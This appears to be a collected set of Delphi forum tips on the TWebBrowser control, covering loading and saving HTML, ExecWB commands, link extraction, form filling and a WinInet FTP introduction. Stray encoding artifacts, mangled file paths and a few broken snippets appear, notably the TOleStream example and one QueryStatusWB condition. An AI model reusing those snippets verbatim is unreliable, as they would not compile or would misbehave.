(hHTMLText, True, Stream));

try

OleCheck(WebBrowser.Document.

QueryInterface(IPersistStreamInit, psi));

try

OleCheck(psi.InitNew);

OleCheck(psi.Load(Stream));

finally

psi := nil;

end;

finally

Stream := nil;

end;

end;

---- 首先，此过程需要的两个参数，WebBrowser是显示目的控件，Html是需要显示的HTML源码；然后，先检查WebBrowser.Document对象是否有效，无效则退出；接着在系统全局堆里分配一块内存，将需要显示的HTML源码复制进去。这是因为下一步需要建立一个WebBrowser控件可以读取的流。GlobalAlloc函数的参数GPTR表示需要分配一块固定的以0初始化过的内存区域，如果分配失败则返回0，则通过RaiseLastWin32Error函数引发一个异常，提示用户；然后用CreateStreamOn

HGlobal函数建立一个基于全局堆内存块的流，第二个参数如果为True则流在释放时自动释放所占全局堆内存。如果 建立成功则此流和刚刚建立的内存块共用同一块内存区域。接着用WebBrowser.Document.QueryInterface函数建立一个IPersistStreamInit接口。然后 就可以直接使用此接口，psi.InitNew初始化状态；psi.Load(Stream)从流中载入HTML源码。

---- 至此，以Html参数指定的HTML源码就在WebBrowser参数指定的控件中显示出来。

---- 值得注意的是，每个关于COM接口的函数调用，也就是那些返回类型为HResult的函数，都必须以OleCheck包装，因为一个不检查返回状态的COM接口操作实在太危险了；此外接口的释放，虽然Delphi可以在后台自动完成，但作为一个好的编程习惯，还是应该显式地手工释放，释放只需将接口设为nil即可。

---- 接着来实现HTML源码的读：

function GetHtml(const WebBrowser: TWebBrowser): string;

const

BufSize = $10000;

var

Size: Int64;

Stream: IStream;

hHTMLText: HGLOBAL;

psi: IPersistStreamInit;

begin

if not Assigned(WebBrowser.Document) then Exit;

OleCheck(WebBrowser.Document.QueryInterface (IPersistStreamInit, psi));

try

//OleCheck(psi.GetSizeMax(Size));

hHTMLText := GlobalAlloc(GPTR, BufSize);

if 0 = hHTMLText then RaiseLastWin32Error;

OleCheck(CreateStreamOnHGlobal(hHTMLText, True, Stream));

try

OleCheck(psi.Save(Stream, False));

Size := StrLen(PChar(hHTMLText));

SetLength(Result, Size);

CopyMemory(PChar(Result), Pointer(hHTMLText), Size);

finally

Stream := nil;

end;

finally

psi := nil;

end;

end;

---- 此函数有一个参数WebBrowser指定从那个控件读取HTML源码，返回一个字符串为此控件中的HTML源码。首先还是要先检查WebBrowser.Document对象是否有效，无效则退出；然后取得IPersistStreamInit接口；接着取得HTML源码的大小：本来应该使用IPersistStreamInit接口的GetSizeMax函数，但在我的机器上测试，这个函数范围值衡为0，无效。因此只能先定义一个足够大的缓冲区，如BufSize = $10000字节(注意此缓冲区应该足够大)；然后同样地分配全局堆内存块，建立流，然后将HTML文本写到流中。因为此HTML文本在流中是以#0结尾的字符串，因此可以用Size := StrLen(PChar(hHTMLText))取得实际长度，用SetLength(Result, Size);设置返回字符串长度为HTML源码实际长度，最后复制字符串到返回字符串中。

---- 至此，直接访问WebBrowser控件中的HTML源码所需的两个函数全部解析完毕。

---- 不过需要注意的时，在使用这两个函数前，最好对WebBrowser.Document对象进行初始化。下面提供一个函数，通过显示一个空白页面实现WebBrowser.Document对象 初始化。

procedure ShowBlankPage(WebBrowser: TWebBrowser);

var

URL: OleVariant;

begin

URL := 'about:blank';

WebBrowser.Navigate2(URL);

end;

---- 建议在你有WebBrowser控件的Form的FormCreate事

件里调用此函数，初始化

WebBrowser.Document对象。

---- 本文程序在Win NT + Delphi 5 环境下调试通过


保存TWebBrowse中的网页为HTML文件
保存TWebBrowse中的网页为HTML文件，以及读取WebBrowse的HTML源代码：

uses

ActiveX;

function WB_SaveHTMLCode(WebBrowser: TWebBrowser; const FileName: TFileName): Boolean;

var

ps: IPersistStreamInit;

fs: TFileStream;

sa: IStream;

begin

ps := WebBrowser.Document as IPersistStreamInit;

fs := TFileStream.Create(FileName, fmCreate);

try

sa := TStreamAdapter.Create(fs, soReference) as IStream;

Result := Succeeded(ps.Save(sa, True));

finally

fs.Free;

end;

end;

function WB_GetHTMLCode(WebBrowser: TWebBrowser; ACode: TStrings): Boolean;

var

ps: IPersistStreamInit;

ss: TStringStream;

sa: IStream;

s: string;

begin

ps := WebBrowser.Document as IPersistStreamInit;

s := '';

ss := TStringStream.Create(s);

try

sa := TStreamAdapter.Create(ss, soReference) as IStream;

Result := Succeeded(ps.Save(sa, True));

if Result then ACode.Add(ss.Datastring);

finally

ss.Free;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

WB_SaveHTMLCode(Webbrowser1, 'c:.txt');

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

WB_GetHTMLCode(Webbrowser1, Memo1.Lines);

end;


saving raw html source from TWEbbrowser
procedure TForm1.SaveHTMLSourceToFile(const FileName: string;

WB: TWebBrowser);

var

PersistStream: IPersistStreamInit;

FileStream: TFileStream;

Stream: IStream;

SaveResult: HRESULT;

begin

PersistStream := WB.Document as IPersistStreamInit;

FileStream := TFileStream.Create(FileName, fmCreate);

try

Stream := TStreamAdapter.Create(FileStream, soReference) as IStream;

SaveResult := PersistStream.Save(Stream, True);

if FAILED(SaveResult) then

MessageBox(Handle, 'Fail to save HTML source', 'Error', 0);

finally

{ we are passing soReference in TStreamAdapter constructor,

it is our responsibility to destroy the TFileStream object. }

FileStream.Free;

end;

end;

pocedure TForm1.Button1Click(Sender: TObject);

begin

if SaveDialog1.Execute then

SaveHTMLSourceToFile(SaveDialog1.FileName, WebBrowser1);

end;


将HTML代码直接写入到TWebbrowser浏览器组件中去

uses

ActiveX;

procedure WB_LoadHTML(WebBrowser: TWebBrowser; HTMLCode: string);

var

sl: TStringList;

ms: TMemoryStream;

begin

WebBrowser.Navigate('about:blank');

while WebBrowser.ReadyState < READYSTATE_INTERACTIVE do

Application.ProcessMessages;

if Assigned(WebBrowser.Document) then

begin

sl := TStringList.Create;

try

ms := TMemoryStream.Create;

try

sl.Text := HTMLCode;

sl.SaveToStream(ms);

ms.Seek(0, 0);

(WebBrowser.Document as IPersistStreamInit).Load(TStreamAdapter.Create(ms));

finally

ms.Free;

end;

finally

sl.Free;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

WB_LoadHTML(WebBrowser1,'SwissDelphiCenter');

end;

****************************

将HTML代码直接加入到TWebbrowser组件中去

uses

ActiveX;

procedure WB_LoadHTML(WebBrowser: TWebBrowser; HTMLCode: string);

var

sl: TStringList;

ms: TMemoryStream;

begin

WebBrowser.Navigate('about:blank');

if Assigned(WebBrowser.Document) then

begin

sl := TStringList.Create;

try

ms := TMemoryStream.Create;

try

sl.Text := HTMLCode;

sl.SaveToStream(ms); 0D

ms.Seek(0, 0);

(WebBrowser.Document as IPersistStreamInit).Load(TStreamAdapter.Create(ms));

0A finally

ms.Free;

end;

finally

sl.Free;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

WB_LoadHTML(WebBrowser1,' <html > <body bgcolor= "#0099FF " >SwissDelphiCenter </html >');

end;

=========================

下面是左轻候的一段代码

//实现内容

procedure Tform1.ShowHTML(src:string;iebrw:TEmbeddedWB;ID:integer);

var

vv: Variant;

HTMLDocument: IHTMLDocument2;

tmpStr,tmpfilepath:string;0D

begin

//直接写到浏览器里。

vv := VarArrayCreate([0,0],varVariant);

vv[0] := ' <base href= "'+LocalPath+' "/ >'+ src+ tmpStr;

try

ieBrw.Navigate('about:blank'); //这里必须要

HTMLDocument := iebrw.Document as IHTMLDocument2;

HTMLDocument.write(PSafeArray(TVarData(vv).VArray));

HTMLDocument.charset:3D 'gb2312';

HTMLDocument.close;

except

statusbar1.Panels[0].Text:='写浏览器出错';

end;

HtmlDocument:=nil;

end;

两者还有是有区别的。写完后，第一个方法不会改变当前页默认的路径，就是说她是直接改内容。

而第二个就不行了，她完成后，你就会发现网页的属性为 "about:blank "

我也说不太清楚。请自己认真体会啊


WebBrowser直接LoadFromStream
如何不用Navigate调入文件，直接往TWebBrowse中写Html语句呢……

我发现好象必须用webbrowser的ipersiststreaminit来save过的stream才能正确的被

load,用ie保存的就不行。我没太多时间，你再研究研究

下面的例子可以正确载入

begin

filestream:=TMemoryStream.Create;

browser1.Navigate('www.chinaren.com');

browser1.SaveTostream(filestream);

filestream.Position:=0;

browser2.LoadFromStream(filestream);

filestream.Free;

end;

function SaveToStream(AStream: TStream): HRESULT;

var

IpStream: IPersistStreamInit;

begin

with browser1 do

begin

while ReadyState <> READYSTATE_COMPLETE do

Forms.Application.ProcessMessages;

if Assigned(Document) then

begin

IpStream := Document as IPersistStreamInit;

Result := IpStream.save(TStreamAdapter.Create(AStream), TRUE);

end else Result := S_FALSE;

end;

end;

function Loadfromstream(AStream:TStream):hresult;

begin

with browser1 do

begin

if not Assigned(Document) then

begin

navigate2('about:blank',0,0,0,0);

while readystate <> READYSTATE_COMPLETE do Forms.Application.ProcessMessages;

end;

AStream.seek(0, 0);

Result := (Document as IPersistStreamInit).Load(TStreamadapter.Create(AStream));

end;

end;


改变滚动条的颜色
with WebBrowser1 do

begin

OleObject.document.body.Style.scrollbarArrowColor := '#0099FF';

OleObject.document.body.Style.scrollbar3DLIGHTCOLOR := '#FFFFFF';

OleObject.document.body.Style.scrollbarDarkShadowColor := '#0099FF';

OleObject.document.body.Style.scrollbarFaceColor := '#99CCFF';

OleObject.document.body.Style.scrollbarHighlightColor := '#0099FF';

OleObject.Document.body.Style.scrollbarShadowColor := '#0099FF';

OleObject.Document.body.Style.scrollbarTrackColor := '#FFFFFF';

end;


保存TWebBrowser到文件
procedure SaveHTMLSourceToFile(const FileName: string;

WB: TWebBrowser);

var

PersistStream: IPersistStreamInit;

FileStream: TFileStream;

Stream: IStream;

SaveResult: HRESULT;

begin

PersistStream := WB.Document as IPersistStreamInit;

FileStream := TFileStream.Create(FileName, fmCreate);

try

Stream := TStreamAdapter.Create(FileStream, soReference) as IStream;

SaveResult := PersistStream.Save(Stream, True);

if FAILED(SaveResult) then

MessageBox(Handle, 'Fail to save HTML source', 'Error', 0);

finally

{ we are passing soReference in TStreamAdapter constructor,

it is our responsibility to destroy the TFileStream object. }

FileStream.Free;

end;

end;


关于IE控件使用的几个问题
1.如何打印WebBrower中所显示的页面;

2.如何将IE收藏夹的信息显示在自己的菜单上，并可以实现将当前页面添加到收藏夹；

注：要求使用IE控件自身的方法实现，最好不使用其他控件。

0、取得页面上的所有的连接

memo1.Text:=WebBrowser1.OleObject.document.documentelement.innerhtml;

for i:=0 to webbrowser1.oleobject.document.links.length-1 do

begin

listbox1.Items.Add(webbrowser1.oleobject.document.links.item(i).href);

end;

1、打印

WebBorwser.ExecWB(OLECMDID_PRINT,0);

2、tWebBrowser中不能回车以及copy的问题吗

用Webbrowser的ExecWB方法：

webbrowser1.ExecWB(OLECMDID_COPY,OLECMDEXECOPT_DODEFAULT);//Copy

webbrowser1.ExecWB(OLECMDID_PASTE,OLECMDEXECOPT_DODEFAULT);//Paste

注意在Copy前要先选定要拷贝的内容，否则会出错。

在初始化函数里面，增加

OleInitialize(nil);

在推出程序之前，增加：

OleUninitialize()；

3、向SOHU搜索引擎提交数据

Var

o : Olevariant;

Begin

o := wb_Cash.OleObject.document.all.item('keyword',0);

o.value :='sdfsd';

wb_Cash.oleobject.document.Forms.Item(0, 0).submit;

4、捕获WebBrowser控件中点击超链接的url

WebBrowser中的OnBeforeNavigate2事件，其传入参数的第一个就是那个URL。

5、调用IE的方法

回复人：mywater(2000-11-30 13:34:00) 得50分

我以前帮人解决过一个找到当前运行的IE,并调用IE的方法的问题。和你这个问题一样，我直接把上次的回答重贴一下：

另：关于控制IE的问题：

我做了一个小例子，也不是很好：

1，在CB中，Server面板上有封装了的IE,Word,Excel,Outlook等自动化对象，

可供我们直接使用，不过，其中的个别控件在2000上，似乎有点问题,我的解决办法：在CB中，Remove 这些包，然后我们自己引入类型库，重建一套!

类型库是:

Microsoft Internet Controls(Version 1.1)

[c:\winnt.dll]

引入时，在ClassNames的Memo中，在每个雷名后都加一个1，防止和原来的类名冲突：

TCppWebBrowser_V11

TCppWebBrowser1

TCppInternetExplorer1

TCppShellBrowserWindow1

TCppShellWindows1

TCppShellUIHelper1

TShellFavoritesNameSpace1

TCScriptErrorList1

TCppSearchAssistantOC1

编译时，可能出现错误，最简单的办法是把出错的语句

注释掉，我检查过，这是几个IE的事件，我们基本用不着！

如果，想用，就得改正这几个错误！就是，把参数独立出来

，改成用指针调用！

2,第二步,使用ICppShellWindow1，获得系统中所有的Internet Explorer 对象，包括文件夹和IE等！

检查是不是IE的办法是:

GetApplicationName,看看是不是Explore.exe 还是....

略去不写了！

是IE的，使用ICppInternetExplorer1对象连接到他，之后，就可以调用各种方法对这个IE进行控制了!

窗体上，放着两个空件：

.h:

TCppShellWindows1 *SW;

TCppInternetExplorer1 *IE;

cpp:

//简单的例子：

SW->Connect();

//debug:

//获取

iCount=SW->Get_Count();

if(iCount<1)

{

ShowMessage("娘西皮，一个没有!");

return ;

};

//我没做判断，直接连接到第一个实例上，

//您应该处理的

TVariantInParam index(0);

//把IE和实例连接

IE->ConnectTo(SW->Item(index));

//方法调用举例：获取URL

WideString temp(IE->Get_LocationURL());

ShowMessage(temp);

//IE->Set_FullScreen(1);

//执行OLE Command举例：运行Save As 菜单

//设置存储路径

TVariant *path=new TVariant("c:\ttt");

//调用，

IE->ExecWB(

//OLE CMD ID

Shdocvw_tlb::OLECMDID_SAVECOPYAS,

//执行开关：不显示界面，不过似乎有点问题，

//Save aS 对话框需要用户 安 确定 按钮

Shdocvw_tlb::OLECMDEXECOPT_DONTPROMPTUSER,

path);

delete path;

//连接文档:

//把文档连接到IE,说明参见 3

Doc->ConnectTo(IE->Get_Document());

Doc----?????

具体的使用，我没写，如果想在

这一级上处理，非常繁琐，您需要

处理每个集合，比如框架，图片，

脚本，等等！

3:如果相对IE文档进行更深层次的控制还得在引入

Microsoft Html Object Library(Version .)

[C:\winnt.tlb]

注意：这个类型库包含了几百个接口，需要很长时间，不是死机！

使用IHTMLDocument对象ConnectTo 到IE的文档上，

就可以对其进行操纵了！这个对象接口非常之多，参见MSDN

集合更多，我也没用过！，看来只能试一试了!具体参见MSDN

文档！

我写了一个小例子，安以上步骤，能调出IE 的Save As

对话框！

注意：如果在您的机器上出现类没有注册，或根本就找不到

这两个类型库，请安装IE5

---------------

1. Webbrowser.ExecWeb(OLECMDID_FIND,OLECMDEXECOPT_DODEFAULT);//查找

Webbrowser.ExecWeb(OLECMDID_FIND,OLECMDEXECOPT_DODEFAULT);//查找

2. Webbrowser.ExecWeb(OLECMDID_SAVEAS, OLECMDEXECOPT_DODEFAULT);//保存

webbrowser1.ExeWB(OLECMDID_SAVECOPYAS,OLECMDEXECOPT_DODEFAULT)将网页内容存在一个指定的地方

3. Webbrowser.ExecWeb(OLECMDID_ PROPERTIES, OLECMDEXECOPT_DODEFAULT);//查看属性

Webbrowser.OleObject.Document.Documentelement.InnerHtml;//在OnDocumentComplete事件后调用。才可调节器用。

----------------

//写HTML

procedure SetHtml(const WebBrowser:TWebBrowser; const Html: string);

var

Stream: IStream;

hHTMLText: HGLOBAL;

psi: IPersistStreamInit;

begin

if not Assigned(WebBrowser.Document) then Exit;

hHTMLText := GlobalAlloc(GPTR, Length(Html) + 1);

if 0 = hHTMLText then RaiseLastWin32Error;

CopyMemory(Pointer(hHTMLText),

PChar(Html), Length(Html));

OleCheck(CreateStreamOnHGlobal

(hHTMLText, True, Stream));

try

OleCheck(WebBrowser.Document.

QueryInterface(IPersistStreamInit, psi));

try

OleCheck(psi.InitNew);

OleCheck(psi.Load(Stream));

finally

psi := nil;

end;

finally

Stream := nil;

end;

end;

//读HTML

function GetHtml(const WebBrowser:TWebBrowser): string;

const

BufSize = $10000;

var

Size: Int64;

Stream: IStream;

hHTMLText: HGLOBAL;

psi: IPersistStreamInit;

begin

if not Assigned(WebBrowser.Document) then Exit;

OleCheck(WebBrowser.Document.QueryInterface

(IPersistStreamInit, psi));

try

//OleCheck(psi.GetSizeMax(Size));

hHTMLText := GlobalAlloc(GPTR, BufSize);

if 0 = hHTMLText then RaiseLastWin32Error;

OleCheck(CreateStreamOnHGlobal(hHTMLText,

True, Stream));

try

OleCheck(psi.Save(Stream, False));

Size := StrLen(PChar(hHTMLText));

SetLength(Result, Size);

CopyMemory(PChar(Result), Pointer(hHTMLText), Size);

finally

Stream := nil;

end;

finally

psi := nil;

end;

end;

-------------

WebBrowser从流中的读取

var

OleStream: IStream;

DelphiStream: TStream;

DelphiStream := TStringStream.Create('I Love Delphi!'); // or any other TStream class instance

OleStream := TOleStream.Create(OleStream);

try

OleStream.CopyFrom(DelphiStream, DelphiStream.Size);

// of course if you have already valid IStream which contains what you want to load, use it directly. e.g URLOpenStream...

with (WebBrowser.Document as IPersistStreamInit) do

begin

OleCheck(InitNew);

OleCheck(Load(OleStream)); // OleStream is a IStream interface pointer

end;

finally

OleStream.Free;

DelphiStream.Free;

end;


检查网页是否是安全连接?

...check if a page in TWebbrowser is secure (SSL)?

procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;

const pDisp: IDispatch; var URL: OleVariant);

begin

if Webbrowser1.Oleobject.Document.Location.Protocol = 'https:' then

label1.Caption := 'Sichere Verbindung'

else

label1.Caption := 'Unsichere Verbindung'

end;


WebBrowser中页面的放大或缩小
show a miniature view of a Webpage in TWebbrowser?

procedure TForm1.WebBrowser1NavigateComplete2(Sender: TObject;

const pDisp: IDispatch; var URL: OleVariant);

begin

WebBrowser1.OleObject.Document.Body.Style.Zoom := 0.50;

end;


如何让新的连接用自己的浏览器打开？
open url in new window with custom TWebBrowser?

{

Normalerweise ?ffnet sich automatisch der Internet Explorer

wenn im TWebBrowser eine URL in einem neuen Fenster ge?ffnet wird.

Mit diesem Tip wird eine neue Instanz des eigenen Browsers

erstellt und die URL dort ge?ffnet.

}

procedure TForm1.WebBrowser1NewWindow2(Sender: TObject;

var ppDisp: IDispatch; var Cancel: WordBool);

var

NewWindow: TForm1;

begin

// a new instance of the form will be created

// Eine neue Instanz wird erstellt

NewWindow := TForm1.Create(self);

NewWindow.Show;

ppDisp := NewWindow.Webbrowser1.DefaultDispatch;

end;


查找并且高亮文本
find and highlight text in TWebBrowser?

{....}

private

procedure SearchAndHighlightText(aText: string);

{....}

procedure TForm1.SearchAndHighlightText(aText: string);

var

i: Integer;

begin

for i := 0 to WebBrowser1.OleObject.Document.All.Length - 1 do

begin

if Pos(aText, WebBrowser1.OleObject.Document.All.Item(i).InnerText) <> 0 then

begin

WebBrowser1.OleObject.Document.All.Item(i).Style.Color := '#FFFF00';

WebBrowser1.OleObject.Document.All.Item(i).ScrollIntoView(True);

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

SearchAndHighlightText('some text...');

end;


显示网页属性对话框
procedure TForm1.Button1Click(Sender: TObject);

var

eQuery: OLECMDF;

vaIn, vaOut: OleVariant;

begin

try

eQuery := Webbrowser1.QueryStatusWB(OLECMDID_PROPERTIES);

if (eQuery and OLECMDF_ENABLED) = OLECMDF_ENABLED then

Webbrowser1.ExecWB(OLECMDID_PROPERTIES, OLECMDEXECOPT_PROMPTUSER, vaIn, vaOut);

except

end;

end;


禁止WebBrowser的右键菜单
disable the Context Menu in a TWebbrowser?

var

HookID: THandle;

function MouseProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;

var

szClassName: array[0..255] of Char;

const

ie_name = 'Internet Explorer_Server';

begin

case nCode < 0 of

True:

Result := CallNextHookEx(HookID, nCode, wParam, lParam)

else

case wParam of

WM_RBUTTONDOWN,

WM_RBUTTONUP:

begin

GetClassName(PMOUSEHOOKSTRUCT(lParam)^.HWND, szClassName, SizeOf(szClassName));

if lstrcmp(@szClassName[0], @ie_name[1]) = 0 then

Result := HC_SKIP

else

Result := CallNextHookEx(HookID, nCode, wParam, lParam);

end

else

Result := CallNextHookEx(HookID, nCode, wParam, lParam);

end;

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

HookID := SetWindowsHookEx(WH_MOUSE, MouseProc, 0, GetCurrentThreadId());

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

if HookID <> 0 then

UnHookWindowsHookEx(HookID);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Webbrowser1.Navigate('http://www.google.com');

end;


填充页面上的Form
如何自动填充页面中的Edit等的值？

function FillForm(WebBrowser: TWebBrowser; FieldName: string; Value: string): Boolean;

var

i, j: Integer;

FormItem: Variant;

begin

Result := False;

//no form on document

if WebBrowser.OleObject.Document.all.tags('FORM').Length = 0 then

begin

Exit;

end;

//count forms on document

for I := 0 to WebBrowser.OleObject.Document.forms.Length - 1 do

begin

FormItem := WebBrowser.OleObject.Document.forms.Item(I);

for j := 0 to FormItem.Length - 1 do

begin

try

//when the fieldname is found, try to fill out

if FormItem.Item(j).Name = FieldName then

begin

FormItem.Item(j).Value := Value;

Result := True;

end;

except

Exit;

end;

end;

end;

end;


使用拖放方式填充Form？
fill out fields in a TWebBrowser by Drag&Drop?

procedure TForm1.FormCreate(Sender: TObject);

begin

label1.DragMode := dmAutomatic;

end;

procedure TForm1.WebBrowserDragOver(Sender, Source: TObject; X,

Y: Integer; State: TDragState; var Accept: Boolean);

var

item: Variant;

begin

//check if document is interactive

if (Webbrowser.ReadyState and READYSTATE_INTERACTIVE) = 3 then

begin

item := WebBrowser.OleObject.Document.elementFromPoint(x, y);

if Source is TLabel then

Accept := True;

Accept := (item.tagname = 'INPUT') and ((item.type = 'text') or

(item.type = 'password')) or (item.tagname = 'TEXTAREA');

end;

end;

procedure TForm1.WebBrowserDragDrop(Sender, Source: TObject; X,

Y: Integer);

var

item: Variant;

begin

//check if document is interactive

if (Webbrowser.ReadyState and READYSTATE_INTERACTIVE) = 3 then

begin

item := WebBrowser.OleObject.Document.elementFromPoint(x, y);

item.Value := label1.Caption;

end;

end;


页面中的所有连接
list all links of a page of a TWebbrowser?

procedure TForm1.Button1Click(Sender: TObject);

var

i: Integer;

begin

for i := 0 to Webbrowser1.OleObject.Document.links.Length - 1 do

Listbox1.Items.Add(Webbrowser1.OleObject.Document.Links.Item(i));

end;

对于多个Frame的页面，可以采取下面的代码：

procedure TForm1.Button2Click(Sender: TObject);

var

i: Integer;

begin

Listbox1.Clear;

//if frames available

if Webbrowser1.OleObject.Document.Frames.Length <> 0 then

begin

//walk through all frames and get the url

//to the Listbox

for i := 0 to Webbrowser1.OleObject.Document.Frames.Length - 1 do

begin

Listbox1.Items.Add(Webbrowser1.OleObject.Document.Frames.item(i).Document.URL);

end;

end;

end;


WebBrowser在XP下的视觉主题
来自：CathyEagle, 时间：2003-1-1 0:59:00, ID：1552928

用过TEmbeddedWB的OnGetHostInfo事件吧？

function TForm1.EmbeddedWB1GetHostInfo(var pInfo: TDOCHOSTUIINFO): HRESULT;

begin

with pInfo do

begin

cbSize := SizeOf(pInfo);

dwFlags := $000040000;//DOCHOSTUIFLAG_THEME

end;

Result := S_OK;

end;

1.EmbeddedWB如何在XP下有主题视觉效果。

IDocHostUIHandler::GetHostInfo

typedef struct _DOCHOSTUIINFO {

ULONG cbSize;

DWORD dwFlags;

DWORD dwDoubleClick;

OLECHAR *pchHostCss;

OLECHAR *pchHostNS;

} DOCHOSTUIINFO;

dwFlags

One or more of the DOCHOSTUIFLAG values that specify the UI capabilities

of the host.

DOCHOSTUIFLAG Enumerated Type

------------------------------------------------------------------------------

Defines a set of flags that indicate the capabilities of an IDocHostUIHandler

implementation.

Syntax

typedef enum tagDOCHOSTUIFLAG {

……,

DOCHOSTUIFLAG_THEME = 0x00040000,

DOCHOSTUIFLAG_NOTHEME = 0x00080000,

DOCHOSTUIFLAG_NOPICS = 0x00100000,

DOCHOSTUIFLAG_NO3DOUTERBORDER = 0x00200000

} DOCHOSTUIFLAG;

Constants

DOCHOSTUIFLAG_THEME

Internet Explorer 6 or later. Specifies that the hosted browser should use

themes for pages it displays.

DOCHOSTUIFLAG_NOTHEME

Internet Explorer 6 or later. Specifies that the hosted browser should not

use themes for pages it displays.

DOCHOSTUIFLAG_NOPICS

Internet Explorer 6 or later. Disables PICS ratings for the hosted browser.

DOCHOSTUIFLAG_NO3DOUTERBORDER

Internet Explorer 6 or later. Turns off any 3-D border on the outermost frame

or frameset only. To turn borders off on all frame sets, use DOCHOSTUIFLAG_NO3DBORDER


网页中的所有链接
１０、提取网页中所有链接

    这个方法来自大富翁论坛hopfield朋友的对一个问题的回答，我本想自己试验，但总是没成功。

    var

      doc:IHTMLDocument2;

      all:IHTMLElementCollection;

      len,i:integer;

      item:OleVariant;

    begin

      doc:=WebBrowser1 .Document as IHTMLDocument2;

      all:=doc.Get_links;　　　　　　　　　　　　　//doc.Links亦可

      len:=all.length;

      for i:=0 to len-1 do begin

        item:=all.item(i,varempty);　　　　　　　　//EmpryParam亦可

        memo1.lines.add(item.href);

      end;

    end;


字体大小
字体大小

    类似“字体”菜单上的从“最大”到“最小”五项（对应整数0～4，Largest等假设为五个菜单项的名字，Tag 属性分别设为0～4）。

      A、读取当前页面字体大小。

          var

            t: OleVariant;

          Begin

            WebBrowser1.ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER,

              EmptyParam,t);

            case t of

            4: Largest.Checked :=true;

            3: Larger.Checked :=true;

            2: Middle.Checked :=true;

            1: Small.Checked :=true;

            0: Smallest.Checked :=true;

            end;

          end;

      B、设置页面字体大小。

          Largest.Checked :=false;

          Larger.Checked :=false;

          Middle.Checked :=false;

          Small.Checked :=false;

          Smallest.Checked :=false;

          TMenuItem(Sender).Checked :=true;

          t :=TMenuItem(Sender).Tag;

          WebBrowser1.ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER,

            t,t);


命令操作
命令操作

    常用的命令操作用ExecWB方法即可完成，ExecWB同样多次被重载：

    procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT); overload;

    procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT; var pvaIn:

        OleVariant); overload;

    procedure ExecWB(cmdID: rOLECMDID; cmdexecopt: OLECMDEXECOPT; var pvaIn:

        OleVariant; var pvaOut: OleVariant); overload;

    打开：　弹出“打开Internet地址”对话框，CommandID为OLECMDID_OPEN（若浏览器版本为IE5.0，

            则此命令不可用）。

    另存为：调用“另存为”对话框。

            ExecWB(OLECMDID_SAVEAS,OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

    打印、打印预览和页面设置：　调用“打印”、“打印预览”和“页面设置”对话框（IE5.5及以上版本才支持打

                                印预览，故实现应该检查此命令是否可用）。

            ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

            if QueryStatusWB(OLECMDID_PRINTPREVIEW)=3 then

              ExecWB(OLECMDID_PRINTPREVIEW, OLECMDEXECOPT_DODEFAULT,

                      EmptyParam,EmptyParam);

            ExecWB(OLECMDID_PAGESETUP, OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

    剪切、复制、粘贴、全选：　功能无须多说，需要注意的是：剪切和粘贴不仅对编辑框文字，而且对网页上的非编

                              辑框文字同样有效，用得好的话，也许可以做出功能特殊的东东。获得其命令使能状

                              态和执行命令的方法有两种（以复制为例，剪切、粘贴和全选分别将各自的关键字替

                              换即可，分别为CUT,PASTE和SELECTALL）：

      A、用TWebBrowser的QueryStatusWB方法。

          if(QueryStatusWB(OLECMDID_COPY)=OLECMDF_ENABLED) or

            OLECMDF_SUPPORTED) then

            ExecWB(OLECMDID_COPY, OLECMDEXECOPT_DODEFAULT, EmptyParam,

                      EmptyParam);

      B、用IHTMLDocument2的QueryCommandEnabled方法。

          var

            Doc: IHTMLDocument2;

          begin

            Doc :=WebBrowser1.Document as IHTMLDocument2;

            if Doc.QueryCommandEnabled('Copy') then

              Doc.ExecCommand('Copy',false,EmptyParam);

          end;

    查找：　参考第九条“查找”功能。


get the Selected Objects in a TWebbrowser?
get the Selected Objects in a TWebbrowser?

procedure TForm1.Button1Click(Sender: TObject);

begin

if Webbrowser1.OleObject.Document.Selection.type = 'Control' then

begin

if Webbrowser1.OleObject.Document.Selection.CreateRange.CommonParentElement.tagName =

'IMAGE' then

ShowMessage('An Image is selected');

end

else

begin

if Webbrowser1.OleObject.Document.Selection.createRange.Text = '' then

ShowMessage('Nothing is selected - ');

end;

end;


How to get address from all open IE windows
I have a code to get only the first/active IE window url address (from delphi3000):

function Get_URL(Servicio: string): String;

var

Cliente_DDE: TDDEClientConv;

temp:PChar;

begin

Result := '';

Cliente_DDE:= TDDEClientConv.Create( nil );

with Cliente_DDE do

begin

SetLink( Servicio,'WWW_GetWindowInfo');

temp := RequestData('0xFFFFFFFF');

Result := StrPas(temp);

StrDispose(temp);

CloseLink;

end;

Cliente_DDE.Free;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit1.Text := Get_URL('IExplore');

end;

-----------------------------------------------------

I tried to "play" with the code a bit...

it seems to work if i change temp := RequestData('0xFFFFFFFF') to:

temp := RequestData('1'); //1 window

or

temp := RequestData('2'); //2 window

or

temp := RequestData('3'); //3 window

and so on... until temp returns '' (empty string)

Anyway, try it.


FTP 使用 WININET
FTP 使用 WININET

现在您阅读的是本文的第二部分，它包含了WININET的内容。正如前文提及的那样，

这个部分与第一部分完全无关。

让我们先来对您在FTP部分使用WININET DLL时需要编写的代码作一个做一个概括的了

解。这并不是一个详尽的学习，但却能够让您进门。为了知晓这项技术，您要做的第一件

事情是明白 WININET.PAS 中的一些函数返回的是一个叫做 HINTERNET 类的指针变量：

var

HINTERNET: Pointer;

这个指针扮演一个您正在使用的不同的因特网服务的句柄的角色。获得了这个句柄之

后，你应当把它作为第一个参数传递给在这个进程周期[注：指FTP的整个存在时间（译者

）]中调用的其他WININET函数。

